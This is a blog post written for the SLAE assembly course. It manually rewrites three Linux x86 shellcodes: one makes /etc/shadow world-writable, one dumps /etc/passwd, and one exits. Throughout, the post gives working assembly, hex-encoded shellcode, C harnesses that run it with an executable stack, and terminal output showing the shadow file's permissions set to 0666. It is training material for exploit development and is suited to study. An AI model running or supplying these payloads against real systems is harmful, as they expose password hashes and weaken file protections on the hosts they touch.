SLAE Assignment 6 – Polymorphic Shellcode

6 minute read

Introduction

Assignment 6 is to create polymorphic versions of three separate shellcodes from shell-storm. According to the Polymorphic code Wikipedia entry, polymorphic code is “code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all. For example, 1+3 and 6-2 both achieve the same result while using different values and operations.” We will not be using a polymorphic engine, and will instead be changing the shellcode manually.

Our goal is to not increase the size of the shellcode by more than 50%.

The format of these posts will be me posting the assembly of the original shellcode, along with its author and a link, and then posting my polymorphic version below with major changes commented. Let’s begin!

Shellcode 1 chmod(/etc/shadow, 0666) & exit()

This shellcode was written by ka0x, and is located here. This shellcode will change file permissions on /etc/shadow to rw for everyone and then call exit().

Size: 33 Bytes

#include <stdio.h>
 
/*
    linux/x86 ; chmod(/etc/shadow, 0666) & exit() 33 bytes
    written by ka0x - <ka0x01[alt+64]gmail.com>
    lun sep 21 17:13:25 CEST 2009
 
    greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others!
 
*/
 
int main()
{
 
    char shellcode[] =
            "\x31\xc0"          // xor eax,eax
            "\x50"              // push eax
            "\x68\x61\x64\x6f\x77"      // push dword 0x776f6461
            "\x68\x2f\x2f\x73\x68"      // push dword 0x68732f2f
            "\x68\x2f\x65\x74\x63"      // push dword 0x6374652f
            "\x89\xe3"          // mov ebx,esp
            "\x66\x68\xb6\x01"      // push word 0x1b6
            "\x59"              // pop ecx
            "\xb0\x0f"          // mov al,0xf
            "\xcd\x80"          // int 0x80
            "\xb0\x01"          // mov al,0x1
            "\xcd\x80";         // int 0x80
 
    printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
    (*(void(*)()) shellcode)();
     
    return 0;
}

We’re going to be working with the assembly comments he provided in his C code. There isn’t much room for us to work with here, so we’ll most likely be adding junk operations and increasing the size a bit.

global _start


section .text

_start:

	xor ecx, ecx		  ; clearing a different register at the start
	mul ecx			  ; this clears both EAX and EDX
	push edx		  ; finally get back around to pushing our null onto the stack but with a 2nd new register
	push dword 0x776f6461     ; this section is the same, but wanted to explain:
	push dword 0x68732f2f     ; we're just pushing '/etc/shadow' onto the stack here 
	push dword 0x6374652f
	mov edi,esp		  ; save stack pointer in different register
	xchg ebx, edi		  ; put stack pointer back into EBX
	push word 0x1ff		  ; push '777' instead of '666' (this is in octal)
	pop ecx
	sub ecx, 0x49		  ; get ECX back down to '666' by subtracting '111'
	mov al,0xf
	int 0x80
	mov al,0x1
	int 0x80

Assemble and link our code:

root@kali:~# nasm -f elf32 chmod.nasm && ld -m elf_i386 chmod.o -o chmod_test

Dump the shellcode:

root@kali:~# objdump -d ./chmod_test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\xf7\xe1\x52\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe7\x87\xdf\x66\x68\xff\x01\x59\x83\xe9\x49\xb0\x0f\xcd\x80\xb0\x01\xcd\x80"

Place it into our shellcode.c file:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\xf7\xe1\x52\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe7\x87\xdf\x66\x68\xff\x01\x59\x83\xe9\x49\xb0\x0f\xcd\x80\xb0\x01\xcd\x80";


main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Finally, compile and run!

root@kali:~# gcc -fno-stack-protector -z execstack -m32 shellcode.c -o chmod_test
root@kali:/etc# cp ~/chmod_test .
root@kali:/etc# ./chmod_test
Shellcode Length:  40
root@kali:/etc# ls -lah | grep shadow
-rw-rw-rw-   1 root    shadow  1.8K Jan 21 00:36 shadow

Size: 40 bytes

Increase: 21%

The shadow file has 666 permissions, our code was a success!

Shellcode 2 Tiny Read File Shellcode - C Language - Linux/x86

This shellcode was written by Geyslan G. Bem, and is located here. This shellcode will read an arbitrary file, we will be using /etc/passwd.

Size: 51 bytes

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \

              "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73"
              "\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f"
              "\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03"
              "\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92"
              "\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd"
              "\x80";


main ()
{

    // When contains null bytes, printf will show a wrong shellcode length.

    printf("Shellcode Length:  %d\n", strlen(shellcode));

    // Pollutes all registers ensuring that the shellcode runs in any circumstance.

    __asm__ ("movl $0xffffffff, %eax\n\t"
            "movl %eax, %ebx\n\t"
            "movl %eax, %ecx\n\t"
            "movl %eax, %edx\n\t"
            "movl %eax, %esi\n\t"
            "movl %eax, %edi\n\t"
            "movl %eax, %ebp\n\t"

            // Calling the shellcode
            "call shellcode");

}

Let’s use ndisasm on this shellcode like we did last assignment to get some assembly out of it.

root@kali:~# echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u -

Output assembly:

xor ecx,ecx 
mul ecx 
mov al,0x5 
push ecx 
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
mov ebx,esp 
int 0x80 
xchg eax,ebx 
xchg eax,ecx 
mov al,0x3 
xor edx,edx 
mov dx,0xfff 
inc edx 
int 0x80 
xchg eax,edx 
xor eax,eax 
mov al,0x4 
mov bl,0x1 
int 0x80 
xchg eax,ebx 
int 0x80 

This shellcode already uses a lot of the tricks we’ve learned over the last few lessons, but we can still change quite a bit of it. Let’s see what we can do.

global _start


section .text

_start:
	xor ecx,ecx
	xor eax,eax
	xor edx,edx			; longer way to clear these 3 registers 
	mov al,0x5 
	push edx			; can switch this to any of the cleared registers as we're just pushing a null, changed to edx 
	push dword 0x64777373
	push dword 0x61702f63
	push dword 0x74652f2f
	mov ebx,esp 
	int 0x80
	push eax			; Step 1
	push ebx			; Step 2
	push ecx			; Step 3
	pop eax				; Step 4
	pop ecx				; Step 5
	pop ebx 			; Step 6, we just replaced two simple xchg opcodes with 6 lines of push/pops
	mov al,0x3  
	mov dx,0xfff			; deleted previous line which was xor edx,edx since edx is still zeroed 
	inc edx 
	int 0x80
	push eax			; Step 1
	push edx			; Step 2
	pop eax				; Step 3
	pop edx	 			; Step 4, we just replaced a simple xchg opcde with 4 lines of push/pops 
	xor eax,eax 
	mov al,0x4 
	mov bl,0x1 
	int 0x80
	push eax			; Step 1
	push ebx			; Step 2
	pop eax				; Step 3
	pop ebx				; Step 4, we just replaced a simple xchg opcode with 4 lines of push/pops 

As you can see from the comments, we had to add some nonsense since the original code was pretty clean. I did find a line that wasn’t needed that I deleted, so we did improve efficiency in at least one instance.

Let’s assemble and link our code:

root@kali:~# nasm -f elf32 read.nasm && ld -m elf_i386 read.o -o read

Let’s dump the shellcode:

root@kali:~# objdump -d ./read|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\x31\xc0\x31\xd2\xb0\x05\x52\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x50\x53\x51\x58\x59\x5b\xb0\x03\x66\xba\xff\x0f\x42\xcd\x80\x50\x52\x58\x5a\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x50\x53\x58\x5b\xcd\x80"

Let’s paste into our shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\x31\xc0\x31\xd2\xb0\x05\x52\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x50\x53\x51\x58\x59\x5b\xb0\x03\x66\xba\xff\x0f\x42\xcd\x80\x50\x52\x58\x5a\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x50\x53\x58\x5b\xcd\x80";



main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Finally, let’s compile and run it!

root@kali:~# gcc -fno-stack-protector -z execstack -m32 shellcode.c -o read
shellcode.c:9:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main()
 ^~~~
root@kali:~# ./read
Shellcode Length:  61
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
-----snip-----

Size: 61 bytes

Increase: 22%

We were able to read /etc/passwd, it works!

Shellcode 3 sys_exit(0)

This shell code was written by gunslinger_ and is located here. This shellcode simply calls exit, let’s see if we can shorten it.

Size: 8 bytes

Original assembly:

xor eax, eax
mov al, 0x1
xor ebx, ebx
int 0x80

Our assembly:

global _start


section .text

_start:
	xor eax, eax
	inc eax			; this should save us a byte
	xor ebx, ebx
	int 0x80

If we assemble, link it, and dump the shellcode, we can see its only 7 bytes.

root@kali:~# nasm -f elf32 exit.nasm && ld -m elf_i386 exit.o -o exit_test
root@kali:~# objdump -d ./exit_test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x40\x31\xdb\xcd\x80"

Size: 7 bytes

Decrease: 12.5%

Github

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1458

You can find all of the code used in this blog post here.